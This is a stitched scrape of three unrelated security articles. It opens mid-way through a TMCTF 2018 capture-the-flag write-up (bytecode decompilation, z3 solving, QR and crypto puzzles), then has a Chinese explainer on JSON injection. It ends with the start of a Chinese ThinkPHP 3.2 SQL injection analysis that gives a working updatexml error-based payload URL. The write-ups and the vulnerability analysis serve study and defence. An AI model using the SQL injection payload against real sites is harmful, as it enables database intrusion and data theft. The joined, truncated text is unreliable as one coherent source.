x01\x00d\x1a\x00k\x03\x00r\xac\x05d\x1b\x00GHt\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\x0c\x00\x83\x02\x00\x83\x01\x00d\x1c\x00k\x03\x00r\xd3\x05d\x1d\x00GHt\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\r\x00\x83\x02\x00\x83\x01\x00d\x1e\x00k\x03\x00r\xfa\x05d\x1f\x00GHt\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\x0e\x00\x83\x02\x00\x83\x01\x00d \x00k\x03\x00r!\x06d!\x00GHt\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\x0f\x00\x83\x02\x00\x83\x01\x00d"\x00k\x03\x00rH\x06d#\x00GHt\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\x10\x00\x83\x02\x00\x83\x01\x00d$\x00k\x03\x00ro\x06d%\x00GHt\x03\x00St\x00\x00S' , (None, 0, 'TMCTF{', '}', 1, -1, 7, 5, 'ReadEaring', 'adEa', 'dHer', 24, 9, 'h', 255, 8, 32, '', 'R) +6', 'l1:C(', ' RP%A', 236, 108, 102, 169, 93, ' L30Z', 'X2', ' j36~', 's2', ' M2S+', 'X3', '4e\x9c{E', 'S3', '6!2$D', 'X4', ']PaSs', 'S4', 10, (236, 108, 102, 169, 93)) , ('True', '\xe0\xa1\xb5\xe0\xa1\xb5HA', 'len', 'False', 'startswith', 'endswith', 'replace', 'split', 'rsplit', 'AssertionError', 'map', 'ord', 'sum', 'chr', 'list', 'reversed', 'xrange', 'join', 'ValueError', 'tuple') , ('inval', 'c', 'l', 's', 'sdl', 'x', 'ROFL', 'KYRYK', 'QQRTQ', 'KYRYJ', 'QQRTW', 'KYRYH', 'QQRTE', 'KYRYG', 'QQRTR', 'KYRYF', 'QQRTY', 'i', 'j', 'ary') , 'flag.py' , 'verify_flag' , 1337 , '\x00\x01\x03\x01\x0c\x01\x03\x01\r\x01\x0e\x02\x07\x02\t\x01\x0e\x02\x03\x02\x03\x01\x08\x01\x03\x01\x04\x02\x12\x01\x06\x01\x04\x01\x0f\x01\x04\x02\x0f\x01\x04\x01\x12\x03\x0c\x01&\x01\x03\x01 \x01\x03\x01\x05\x02\x04\x02\x18\x01\x04\x01\x0f\x01\x0c\x01\x0c\x01\x04\x01\x0c\x01\x10\x01\x04\x01\n\x01\x12\x01\x04\x01\x1d\x01\x12\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\x19\x01\x1d\x01\x18\x01\x1c\x01\x04\x01\x18\x01\x18\x01\x1c\x01\x04\x01\x18\x01\x1c\x01 \x01\x04\x01\x1c\x01\x1c\x01 \x01\x04\x01\x1c\x01\x18\x01\x1c\x01\x04\x01\x1c\x01\x10\x01\x10\x01\x10\x01\x10\x01\x10\x01\x10\x01\x14\x01(\x01\r\x01\x0c\x01\x0c\x01\x1e\x01\x04\x01\x03\x01\x1e\x01\x08\x01\r\x01\x05\x07\x1e\x01\x04\x01\x12\x01\x04\x01\x1e\x01\x05\x01\x04\x01\x1e\x01\x05\x01\x04\x01\x1e\x01\x05\x01\x04\x01\x1e\x01\x05\x01\x04\x01\x1e\x01\x05\x01\x04\x01\x1e\x01\x05\x01\x04\x01' )
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:"
print " %s flag" % sys.argv[0]
else:
if verify_flag(sys.argv[1]):
print "%s is the correct flag!" % sys.argv[1]
else:
print "Better luck next time"
Seems like we have to reverse the python bytecode verify_flag. **code**.
We try to decompile the bytecode by crafting a pyc file and use uncompyle6 to
decompile, but it doesn't work since the code contains non-ascii characters.
Finally, We sucessfully decompiled the bytecode by craft a Code2 object and
call uncompyle6.main.decompile() directly
import xdis
import sys
from xdis.code import Code2
from xdis.bytecode import get_instructions_bytes
import uncompyle6
argcount = 1
nlocals = 20
stacksize = 9
flags = 67
code = b'y\x0c\x00|\x00\x00d\x01\x00\x17\x01Wn%\x00\x01\x01\x01x9\x00|\x00\x00D]\x10\x00}\x01\x00|\x01\x00|\x01\x007}\x01\x00q\x19\x00W~\x01\x00n\x1b\x00Xx\x17\x00t\x00\x00rJ\x00|\x00\x00|\x00\x007}\x00\x00q7\x00W~\x00\x00y\x08\x00t\x01\x00\x01Wn\x07\x00\x01\x01\x01n\x01\x00Xt\x02\x00|\x00\x00\x83\x01\x00d\x01\x00k\x02\x00sx\x00t\x03\x00r|\x00t\x03\x00S|\x00\x00j\x04\x00d\x02\x00\x83\x01\x00s\x8f\x00t\x03\x00S|\x00\x00j\x05\x00d\x03\x00\x83\x01\x00s\xb4\x00t\x03\x00S|\x00\x00j\x06\x00d\x02\x00\x83\x01\x00}\x00\x00na\x00t\x02\x00|\x00\x00\x83\x01\x00}\x02\x00|\x00\x00j\x07\x00d\x02\x00d\x04\x00\x83\x02\x00d\x05\x00\x19j\x08\x00d\x03\x00d\x04\x00\x83\x02\x00d\x01\x00\x19}\x00\x00y \x00t\x02\x00|\x00\x00\x83\x01\x00d\x06\x00\x17|\x02\x00k\x02\x00s\x05\x01t\t\x00\x82\x01\x00Wn\x08\x00\x01\x01\x01t\x03\x00SXd&\x00\x01|\x00\x00d\x08\x00j\x06\x00d\t\x00d\n\x00\x83\x02\x00k\x02\x00r1\x01t\x03\x00St\n\x00t\x0b\x00|\x00\x00\x83\x02\x00}\x00\x00t\x02\x00|\x00\x00\x83\x01\x00}\x02\x00|\x02\x00d\x0b\x00k\x03\x00r\\\x01t\x03\x00St\x0c\x00|\x00\x00\x83\x01\x00}\x03\x00|\x03\x00|\x02\x00\x16d\x0c\x00k\x03\x00r|\x01t\x03\x00S|\x03\x00|\x02\x00\x15}\x04\x00t\r\x00|\x04\x00\x83\x01\x00d\r\x00k\x03\x00r\x9c\x01t\x03\x00Sg\x00\x00|\x00\x00D]\x10\x00}\x05\x00|\x05\x00|\x04\x00A^\x02\x00q\xa3\x01}\x00\x00t\x0e\x00t\x0f\x00|\x00\x00\x83\x01\x00\x83\x01\x00}\x06\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x07\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x08\x00d\x01\x00g\x01\x00d\x07\x00\x14}\t\x00d\x01\x00g\x01\x00d\x07\x00\x14}\n\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x0b\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x0c\x00d\x01\x00g\x01\x00d\x07\x00\x14}\r\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x0e\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x0f\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x10\x00xS\x02t\x10\x00t\x02\x00|\x07\x00\x83\x01\x00\x83\x01\x00D]?\x02}\x11\x00x\xc6\x01t\x10\x00t\x02\x00|\x08\x00\x83\x01\x00d\x04\x00\x18\x83\x01\x00D]\xae\x01}\x12\x00|\x07\x00|\x11\x00c\x02\x00\x19|\x00\x00|\x11\x00|\x12\x00\x17\x19N\x03<|\x08\x00|\x11\x00\x19|\x00\x00|\x11\x00|\x12\x00\x17\x19\x17d\x0e\x00k\x04\x00r\xbb\x02t\x03\x00S|\x08\x00|\x11\x00c\x02\x00\x19|\x00\x00|\x11\x00|\x12\x00\x17\x197\x03<|\t\x00|\x11\x00c\x02\x00\x19|\x00\x00|\x11\x00|\x12\x00\x14\x19N\x03<|\n\x00|\x11\x00\x19|\x00\x00|\x11\x00|\x12\x00\x14\x19\x17d\x0e\x00k\x04\x00r\x0b\x03t\x03\x00S|\n\x00|\x11\x00c\x02\x00\x19|\x00\x00|\x11\x00|\x12\x00\x14\x197\x03<|\x0b\x00|\x11\x00c\x02\x00\x19|\x00\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x19N\x03<|\x0c\x00|\x11\x00\x19|\x00\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x19\x17d\x0e\x00k\x04\x00rc\x03t\x03\x00S|\x0c\x00|\x11\x00c\x02\x00\x19|\x00\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x197\x03<|\r\x00|\x11\x00c\x02\x00\x19|\x06\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x19N\x03<|\x0e\x00|\x11\x00\x19|\x06\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x19\x17d\x0e\x00k\x04\x00r\xbf\x03t\x03\x00S|\x0e\x00|\x11\x00c\x02\x00\x19|\x06\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x197\x03<|\x0f\x00|\x11\x00c\x02\x00\x19|\x06\x00|\x11\x00|\x12\x00\x17\x19N\x03<|\x10\x00|\x11\x00\x19|\x06\x00|\x11\x00|\x12\x00\x17\x19\x17d\x0e\x00k\x04\x00r\x13\x04t\x03\x00S|\x10\x00|\x11\x00c\x02\x00\x19|\x06\x00|\x11\x00|\x12\x00\x17\x197\x03<q}\x02W|\x07\x00|\x11\x00c\x02\x00\x19d\x10\x007\x03<|\t\x00|\x11\x00c\x02\x00\x19d\x10\x007\x03<|\x0b\x00|\x11\x00c\x02\x00\x19d\x10\x007\x03<|\r\x00|\x11\x00c\x02\x00\x19d\x10\x007\x03<|\x0f\x00|\x11\x00c\x02\x00\x19d\x10\x007\x03<|\x0c\x00|\x11\x00c\x02\x00\x19d\x0f\x007\x03<|\x10\x00|\x11\x00c\x02\x00\x19d\x04\x007\x03<q`\x02WxJ\x00|\x07\x00|\t\x00|\x0b\x00|\r\x00|\x0f\x00|\n\x00|\x0c\x00|\x0e\x00|\x10\x00g\t\x00D]\'\x00}\x13\x00x\x1e\x00|\x13\x00D]\x16\x00}\x05\x00|\x05\x00d\x0e\x00k\x04\x00r\xd2\x04t\x03\x00Sq\xd2\x04Wq\xc5\x04Wd\x11\x00j\x11\x00t\n\x00t\r\x00|\x07\x00\x83\x02\x00\x83\x01\x00d\x12\x00k\x03\x00r\x12\x05t\x03\x00Sy&\x00d\x11\x00j\x11\x00t\n\x00t\r\x00|\x08\x00\x83\x02\x00\x83\x01\x00d\x13\x00k\x03\x00r7\x05t\x03\x00SWn\x12\x00\x04t\x12\x00k\n\x00rL\x05\x01\x01\x01t\x03\x00SXd\x11\x00j\x11\x00t\n\x00t\r\x00|\t\x00\x83\x02\x00\x83\x01\x00d\x14\x00k\x03\x00ro\x05t\x03\x00St\x13\x00|\n\x00\x83\x01\x00d\'\x00k\x03\x00r\x85\x05t\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\x0b\x00\x83\x02\x00\x83\x01\x00d\x1a\x00k\x03\x00r\xac\x05d\x1b\x00GHt\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\x0c\x00\x83\x02\x00\x83\x01\x00d\x1c\x00k\x03\x00r\xd3\x05d\x1d\x00GHt\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\r\x00\x83\x02\x00\x83\x01\x00d\x1e\x00k\x03\x00r\xfa\x05d\x1f\x00GHt\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\x0e\x00\x83\x02\x00\x83\x01\x00d \x00k\x03\x00r!\x06d!\x00GHt\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\x0f\x00\x83\x02\x00\x83\x01\x00d"\x00k\x03\x00rH\x06d#\x00GHt\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\x10\x00\x83\x02\x00\x83\x01\x00d$\x00k\x03\x00ro\x06d%\x00GHt\x03\x00St\x00\x00S'
consts = (None, 0, 'TMCTF{', '}', 1, -1, 7, 5, 'ReadEaring', 'adEa', 'dHer', 24, 9, 'h', 255, 8, 32, '', 'R) +6', 'l1:C(', ' RP%A', 236, 108, 102, 169, 93, ' L30Z', 'X2', ' j36~', 's2', ' M2S+', 'X3', '4e\x9c{E', 'S3', '6!2$D', 'X4', ']PaSs', 'S4', 10, (236, 108, 102, 169, 93))
names = ('True', '\xe0\xa1\xb5\xe0\xa1\xb5HA', 'len', 'False', 'startswith', 'endswith', 'replace', 'split', 'rsplit', 'AssertionError', 'map', 'ord', 'sum', 'chr', 'list', 'reversed', 'xrange', 'join', 'ValueError', 'tuple')
varnames = ('inval', 'c', 'l', 's', 'sdl', 'x', 'ROFL', 'KYRYK', 'QQRTQ', 'KYRYJ', 'QQRTW', 'KYRYH', 'QQRTE', 'KYRYG', 'QQRTR', 'KYRYF', 'QQRTY', 'i', 'j', 'ary')
filename = 'flag.py'
name = 'verify_flag'
firstlineno = 1337
lnotab = '\x00\x01\x03\x01\x0c\x01\x03\x01\r\x01\x0e\x02\x07\x02\t\x01\x0e\x02\x03\x02\x03\x01\x08\x01\x03\x01\x04\x02\x12\x01\x06\x01\x04\x01\x0f\x01\x04\x02\x0f\x01\x04\x01\x12\x03\x0c\x01&\x01\x03\x01 \x01\x03\x01\x05\x02\x04\x02\x18\x01\x04\x01\x0f\x01\x0c\x01\x0c\x01\x04\x01\x0c\x01\x10\x01\x04\x01\n\x01\x12\x01\x04\x01\x1d\x01\x12\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\x19\x01\x1d\x01\x18\x01\x1c\x01\x04\x01\x18\x01\x18\x01\x1c\x01\x04\x01\x18\x01\x1c\x01 \x01\x04\x01\x1c\x01\x1c\x01 \x01\x04\x01\x1c\x01\x18\x01\x1c\x01\x04\x01\x1c\x01\x10\x01\x10\x01\x10\x01\x10\x01\x10\x01\x10\x01\x14\x01(\x01\r\x01\x0c\x01\x0c\x01\x1e\x01\x04\x01\x03\x01\x1e\x01\x08\x01\r\x01\x05\x07\x1e\x01\x04\x01\x12\x01\x04\x01\x1e\x01\x05\x01\x04\x01\x1e\x01\x05\x01\x04\x01\x1e\x01\x05\x01\x04\x01\x1e\x01\x05\x01\x04\x01\x1e\x01\x05\x01\x04\x01\x1e\x01\x05\x01\x04\x01'
co = Code2(argcount, 0, nlocals, stacksize, flags, code, consts, names, varnames, filename, name, firstlineno, lnotab, (), ())
version = 2.7
timestamp = 1536287532
code_objects = {co: co}
source_size = None
is_pypy = False
magic_int = 62211
uncompyle6.main.decompile(version, co, sys.stdout, None, False, timestamp, False, code_objects=code_objects, source_size=source_size, is_pypy=is_pypy, magic_int=magic_int, mapstream=None, do_fragments=None)
following is the decompiled code
# uncompyle6 version 3.2.3
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.0 (default, Jul 15 2018, 10:44:58)
# [GCC 8.1.1 20180531]
# Embedded file name: flag.py
# Compiled at: 2018-09-07 10:32:12
try:
inval + 0
except:
for c in inval:
c += c
else:
del c
else:
while 1:
if True:
inval += inval
else:
del inval
try:
ࡵࡵHA
except:
pass
if len(inval) == 0 or False:
return False
if not inval.startswith('TMCTF{'):
return False
if not inval.endswith('}'):
return False
inval = inval.replace('TMCTF{')
else:
l = len(inval)
inval = inval.split('TMCTF{', 1)[-1].rsplit('}', 1)[0]
try:
assert len(inval) + 7 == l
except:
return False
10
if inval == ('ReadEaring').replace('adEa', 'dHer'):
return False
inval = map(ord, inval)
l = len(inval)
if l != 24:
return False
s = sum(inval)
if s % l != 9:
return False
sdl = s / l
if chr(sdl) != 'h':
return False
inval = [ x ^ sdl for x in inval ]
ROFL = list(reversed(inval))
KYRYK = [0] * 5
QQRTQ = [0] * 5
KYRYJ = [0] * 5
QQRTW = [0] * 5
KYRYH = [0] * 5
QQRTE = [0] * 5
KYRYG = [0] * 5
QQRTR = [0] * 5
KYRYF = [0] * 5
QQRTY = [0] * 5
for i in xrange(len(KYRYK)):
for j in xrange(len(QQRTQ) - 1):
KYRYK[i] ^= inval[i + j]
if QQRTQ[i] + inval[i + j] > 255:
return False
QQRTQ[i] += inval[i + j]
KYRYJ[i] ^= inval[i * j]
if QQRTW[i] + inval[i * j] > 255:
return False
QQRTW[i] += inval[i * j]
KYRYH[i] ^= inval[8 + i * j]
if QQRTE[i] + inval[8 + i * j] > 255:
return False
QQRTE[i] += inval[8 + i * j]
KYRYG[i] ^= ROFL[8 + i * j]
if QQRTR[i] + ROFL[8 + i * j] > 255:
return False
QQRTR[i] += ROFL[8 + i * j]
KYRYF[i] ^= ROFL[i + j]
if QQRTY[i] + ROFL[i + j] > 255:
return False
QQRTY[i] += ROFL[i + j]
KYRYK[i] += 32
KYRYJ[i] += 32
KYRYH[i] += 32
KYRYG[i] += 32
KYRYF[i] += 32
QQRTE[i] += 8
QQRTY[i] += 1
for ary in [KYRYK, KYRYJ, KYRYH, KYRYG, KYRYF, QQRTW, QQRTE, QQRTR, QQRTY]:
for x in ary:
if x > 255:
return False
if ('').join(map(chr, KYRYK)) != 'R) +6':
return False
try:
if ('').join(map(chr, QQRTQ)) != 'l1:C(':
return False
except ValueError:
return False
if ('').join(map(chr, KYRYJ)) != ' RP%A':
return False
if tuple(QQRTW) != (236, 108, 102, 169, 93):
return False
if ('').join(map(chr, KYRYH)) != ' L30Z':
print 'X2'
return False
if ('').join(map(chr, QQRTE)) != ' j36~':
print 's2'
return False
if ('').join(map(chr, KYRYG)) != ' M2S+':
print 'X3'
return False
if ('').join(map(chr, QQRTR)) != '4e\x9c{E':
print 'S3'
return False
if ('').join(map(chr, KYRYF)) != '6!2$D':
print 'X4'
return False
if ('').join(map(chr, QQRTY)) != ']PaSs':
print 'S4'
return False
return True
By reversing the decompiled code, we realized that it is very easy to get the
flag by z3 solver.
from z3 import *
flag = []
constraints = []
sum_flag=2505
for i in range(24):
flag.append(BitVec('x%d' % i, 16))
constraints.append(flag[i]<0x7f)
constraints.append(flag[i]>0x20)
sum_flag-=flag[i]
constraints.append(sum_flag==0)
flag_enc = [x ^ 104 for x in flag]
flag_enc_rev = list(reversed(flag_enc))
aa = [0] * 5
bb = [0] * 5
cc = [0] * 5
dd = [0] * 5
ee = [0] * 5
ff = [0] * 5
gg = [0] * 5
hh = [0] * 5
ii = [0] * 5
jj = [0] * 5
for i in range(len(aa)):
for j in range(len(bb) - 1):
aa[i] ^= flag_enc[i + j]
#if bb[i] + flag_enc[i + j] > 255:
# return False
bb[i] += flag_enc[i + j]
cc[i] ^= flag_enc[i * j]
#if dd[i] + flag_enc[i * j] > 255:
# return False
dd[i] += flag_enc[i * j]
ee[i] ^= flag_enc[8 + i * j]
#if ff[i] + flag_enc[8 + i * j] > 255:
# return False
ff[i] += flag_enc[8 + i * j]
gg[i] ^= flag_enc_rev[8 + i * j]
#if hh[i] + flag_enc_rev[8 + i * j] > 255:
# return False
hh[i] += flag_enc_rev[8 + i * j]
ii[i] ^= flag_enc_rev[i + j]
#if jj[i] + flag_enc_rev[i + j] > 255:
# return False
jj[i] += flag_enc_rev[i + j]
aa[i] += 32
cc[i] += 32
ee[i] += 32
gg[i] += 32
ii[i] += 32
ff[i] += 8
jj[i] += 1
#for ary in [aa, cc, ee, gg, ii, dd, ff, hh, jj]:
# for x in ary:
# if x > 255:
# return False
compare = list(map(ord, 'R) +6'))
for i in range(5):
constraints.append(aa[i] == compare[i])
compare = list(map(ord, 'l1:C('))
for i in range(5):
constraints.append(bb[i] == compare[i])
compare = list(map(ord, ' RP%A'))
for i in range(5):
constraints.append(cc[i] == compare[i])
compare = (236, 108, 102, 169, 93)
for i in range(5):
constraints.append(dd[i] == compare[i])
compare = list(map(ord, ' L30Z'))
for i in range(5):
constraints.append(ee[i] == compare[i])
compare = list(map(ord, ' j36~'))
for i in range(5):
constraints.append(ff[i] == compare[i])
compare = list(map(ord, ' M2S+'))
for i in range(5):
constraints.append(gg[i] == compare[i])
compare = list(map(ord, '4e\x9c{E'))
for i in range(5):
constraints.append(hh[i] == compare[i])
compare = list(map(ord, '6!2$D'))
for i in range(5):
constraints.append(ii[i] == compare[i])
compare = list(map(ord, ']PaSs'))
for i in range(5):
constraints.append(jj[i] == compare[i])
#print(constraints)
print(solve(constraints))
## Forensics-crypto1
### 100
25 x 25 qr-code version 2
type infomation bits: 010101111x101101, ECC level: Q, mask: 7
( ((row + column) mod 2) + ((row * column) mod 3) ) mod 2 == 0
Error corrections available but data is removed (right side)
This is readed as follows
1001110110001001110110001001010001101110010001101110010001101011110101000010111101011000100111010011001100101101010011100011000101110110011010100011010001111101000011101100110110101001110100101101011111110100010101100001100011100101110010101000111111011001110011111111011011001010101110110100101110100101100110111100001001100001100100100001111010000000000
QR CODE has many modes, we try to use byte mode to deocode it.(4 bit mode, 8
bit length, the size of per data block is 8)
By trying to decode the QR CODE manually, we can find that the flag is ended
with <font color="red">N1nj4}</font>. So the length of this string is
0b00010100.
The Data and ECC block can be read under the rule as follows. <font
color="blue">But we need to read it from offset 4 + 8</font>.
Due to the fact that the ecc level of this QR CODE is %25, we just need to
patch some known letters as “TWCTF”,etc.
But we need to know how to patch it.
XORed
we need to patch the header of the QR CODE, mode and lemgth and then we need
to XOR them with mask.
After patching known bytes, we can scan the QR CODE.
flag is here
<font color="red">TMCTF{QRc0d3-N1nj4}</font>
### 200
Decompiling pyinstaller shows the sourcecode.
$ cat OceanOfSockets.py
...
def request():
try:
connection = httplib.HTTPConnection(sys.argv[1], sys.argv[2])
connection.request('GET', '/tmctf.html')
resTMCF = connection.getresponse()
readData = resTMCF.read()
if 'OceanOfSockets' in readData:
headers = {'User-Agent': 'Mozilla Firefox, Edge/12',
'Content-type': 'text/html',
'Cookie': '%|r%uL5bbA0F?5bC0E9b0_4b2?N'}
connection.request('GET', '/index.html', '', headers)
else:
sys.exit(0)
except:
pass
...
There doesn't seem to be much information except the suspicious cookie.
While thinking about the flag format (which is `TMCTF{}`), I realized it
should be a simple addition algorithm used on Cookie.
>>> [chr((ord(i) + 47)) for i in '%|r%uL5bbA0F?5bC0E9b0_4b2?N']
['T', '\xab', '\xa1', 'T', '\xa4', '{', 'd', '\x91', '\x91', 'p', '_', 'u', 'n', 'd', '\x91', 'r', '_', 't', 'h', '\x91', '_', '\x8e', 'c', '\x91', 'a', 'n', '}']
Now it sounds like some of characters are not displayed properly. I decided to
mod a byte to leak remaining ambiguous bytes.
>>> [chr((ord(i) + 47) % 0x5e) for i in '%|r%uL5bbA0F?5bC0E9b0_4b2?N']
['T', 'M', 'C', 'T', 'F', '\x1d', '\x06', '3', '3', '\x12', '\x01', '\x17', '\x10', '\x06', '3', '\x14', '\x01', '\x16', '\n', '3', '\x01', '0', '\x05', '3', '\x03', '\x10', '\x1f']
Merging above results will print the flag
flag: `TMCTF{d33p_und3r_th3_0c3an}`
### 400
We got these informations from challenge:
n = 144 and l = 288
fi (x) = x XOR ki
unknown h
We known a couple of plaintext/cipher, so it's known plaintext attack.
Here the F function of feistel is XOR, all differences are transmitted by
probability 1. So we can decrypt all cipher over these conditions.
Fistly, we do some pre-works:
we don't know h, so we need to try alot of time, and finally I found:
true_l=xor(lm,xor(rc,r))
We guess the h=5 or like 5 round's result, so we can solve it:
m1="010000010110111000100000011000010111000001110000011011000110010100100000011000010110111001100100001000000110000101101110001000000110111101110010011000010110111001100111011001010010000001110111011001010110111001110100001000000111010001101111001000000101010001110010011001010110111001100100"
c1="000100100011000101110101001101100110001100110001001110100011110101100000011110010010111000110011001110000000110100100101011111000011000000100001010000100110011100100001011000000111001101110100011011100110000000100000011011010110001001100100001011010110111001100110001010110110110101110001"
c="000000110000111001011100001000000001100100101100000100100111111000001001000001100000001100001001000100100010011101001010011000010111100100100010010101110100010001000010010101010100010101111111010001000110000001101001011111110111100001100101011000010010001001001011011000100111001001101011"
def xor(bin1,bin2):
assert len(bin1)==len(bin2)
s=""
for i in range(len(bin1)):
s+=str(int(bin1[i])^int(bin2[i]))
return s
from Crypto.Util.number import long_to_bytes
def show(x):
print long_to_bytes(int(x,2))
lm=m1[0:144]
rm=m1[144:]
lc=c1[0:144]
rc=c1[144:]
l=c[0:144]
r=c[144:]
true_l=xor(lm,xor(rc,r))
true_r=xor(xor(xor(xor(lc,l),true_l),lm),rm)
show(true_l+true_r)
## Forensics-crypto2
### 200
Dump HTTP upload requests and you will get mausoleum.exe.
From there, decompile the exe file (omg so many pyinstaller binary)
I was somehow unable to decrypt the python file (I changed some of bits in
headers, still it didn't work)
so I decided to remove useless letters from the notepad and get the flag.
Guess what? I successfully submitted it on the first guess.
`TMCTF{the_s3cr3t_i$_unE@rth3d}`
## Misc
### 100
Foremost extract a zip file and unzip it to get flag:
### 200
The challenges provides a pcap file and a python script. The python script
reads a txt file into an array and uses it as training data for DBSCAN. So I
guess the purpose of this challenge is to extract the data from the pcap.
I use `strings` to observe that the data of icmp packet looks like the data we
want ,so I extract them with the following command
`tshark -r ./traffic.pcap -Y "icmp and ip.src_host==192.168.0.17" -T fields -e
data`
Decode them and apply them to the python script. But the model outputs
nothing. So I decide to plot it directly.
And the flag is `FLAG:1` | 社区文章 |
# 【缺陷周话】第40期：JSON 注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、JSON 注入
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源，程序没有对这些不可信赖的数据进行验证、过滤，如果应用程序使用未经验证的输入构造
JSON，则可以更改 JSON 数据的语义。在相对理想的情况下，攻击者可能会插入无关的元素，导致应用程序在解析
JSON数据时抛出异常。本文以JAVA语言源代码为例，分析“JSON注入”漏洞产生的原因以及修复方法。该漏洞的详细介绍请参见 CWE ID 91: XML
Injection (aka Blind XPath Injection)
(http://cwe.mitre.org/data/definitions/91.html)。
## 2、JSON 注入的危害
攻击者可以利用JSON注入漏洞在JSON数据中插入元素，从而允许JSON数据对业务非常关键的值执行恶意操作，严重的可能导致XSS和动态解析代码。
从2018年1月至2019年6月，CVE中共有18条漏洞信息与其相关。部分漏洞如下：
CVE 编号 | 概述
---|---
CVE-2018-7951 |
由于输入验证不充分，某些华为服务器的iBMC（智能基板管理控制器）存在JSON注入漏洞。经过身份验证的远程攻击者可以启动JSON注入来修改管理员的密码。成功利用可能允许攻击者获得系统的管理权限。
CVE-2018-7904 | 带有V100R005C00软件的华为1288H V5和288H
V5存在JSON注入漏洞。经过身份验证的远程攻击者可以使用JSON注入来修改管理员的密码。由于对输入的验证不充分，可以利用它来获得系统的管理权限。
## 3、示例代码
示例源于 WebGoat-8.0.0.M25
(https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)，源文件名：CSRFFeedback.java。
### 3.1 缺陷代码
上述示例代码是接收请求参数 feedback 中的 JSON 数据，并将 JSON 数据转换为对象。第35行，声明一个 ObjectMapper 类的实例
objectMapper 用于处理 JSON 数据。第40行在方法 completed 中声明了要获取的参数 feedback，在第42行将请求参数
feedback 的字节数组值和 Map.class 作为参数传入实例 feedback 的 readValue() 方法，用于将 JSON 数据转换为
Map 集合类的对象。
由于 JSON
是根据引号、冒号、逗号和花括号区分各字符意义的，当JSON格式为{“username”:”admin”,”password”:”adminpassword”}时，程序可正确解析该
JSON 数据。数据为{“username”:”admin”,”password”:”admin”password”}时，其中 admin”password
中的引号会破坏整个JSON的结构，导致 JSON 解析失败，无法转换为指定对象。
使用代码卫士对上述示例代码进行检测，可以检出“JSON注入”缺陷，显示等级为高。从跟踪路径中可以分析出数据的污染源以及数据流向，在代码行第42行报出缺陷。如图1所示：
图1：JSON 注入检测示例
### 3.2 修复代码
在上述修复代码中，使用 com.fasterxml.jackson.core.io 包下的JsonStringEncoder 类来对 JSON
数据进行操作，在第43行获取 JsonStringEncoder 的对象 encoder，调用 quoteAsUTF8 方法将 feedback中的数据按照
JSON 标准处理并编码为 UTF-8，将结果返回为字节数组。将转换后的字节数组作为参数与 Map.class 传入 readValue 方法。使用
JSON 标准对 JSON 数据进行处理，防止 JSON 注入。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“JSON注入”缺陷。如图2所示：
图2：修复后检测结果
## 4、如何避免 JSON 注入
检查程序逻辑，根据实际需求对数据进行合理过滤和安全校验，以避免产生JSON注入。 | 社区文章 |
# ThinkPHP3.2 框架sql注入漏洞分析（最新）
##### 译文声明
本文是翻译文章，文章原作者 水泡泡，文章来源：Aliyun
原文地址：<https://xz.aliyun.com/t/2629>
译文仅供参考，具体内容表达以及含义原文为准。
作者：水泡泡（阿里云先知社区）
## 0x00 前言
北京时间 2018年8月23号11:25分 星期四，tp团队对于已经停止更新的thinkphp
3系列进行了一处安全更新，经过分析，此次更新修正了由于select(),find(),delete()方法可能会传入数组类型数据产生的多个sql注入隐患。
## 0x01 漏洞复现
下载源码：
git clone https://github.com/top-think/thinkphp.git
使用git checkout 命令将版本回退到上一次commit：
git checkout 109bf30254a38651c21837633d9293a4065c300b
使用phpstudy等集成工具搭建thinkphp，修改apache的配置文件httpd-conf
DocumentRoot “” 为thinkphp所在的目录。
[](https://xzfile.aliyuncs.com/media/upload/picture/20180824173127-79bb91ea-a780-1.png)
重启phpstudy，访问127.0.0.1，输出thinkphp的欢迎信息，表示thinkphp已正常运行。[](https://xzfile.aliyuncs.com/media/upload/picture/20180824173127-79c932be-a780-1.png)
搭建数据库，数据库为tptest,表为user，表里面有三个字段id,username,pass[](https://xzfile.aliyuncs.com/media/upload/picture/20180824173127-79d25bfa-a780-1.png)
修改Application\Common\Conf\config.php配置文件，添加数据库配置信息。[](https://xzfile.aliyuncs.com/media/upload/picture/20180824173127-79df83fc-a780-1.png)
之后在Application\Home\Controller\IndexController.class.php 添加以下代码:
public function test()
{
$id = i('id');
$res = M('user')->find($id);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
针对select() 和find()方法
,有很多地方可注，这里主要列举三个table，alias，where，更多还请自行跟踪一下parseSql的各个parseXXX方法，目测都是可行的，比如having,group等。
table：http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
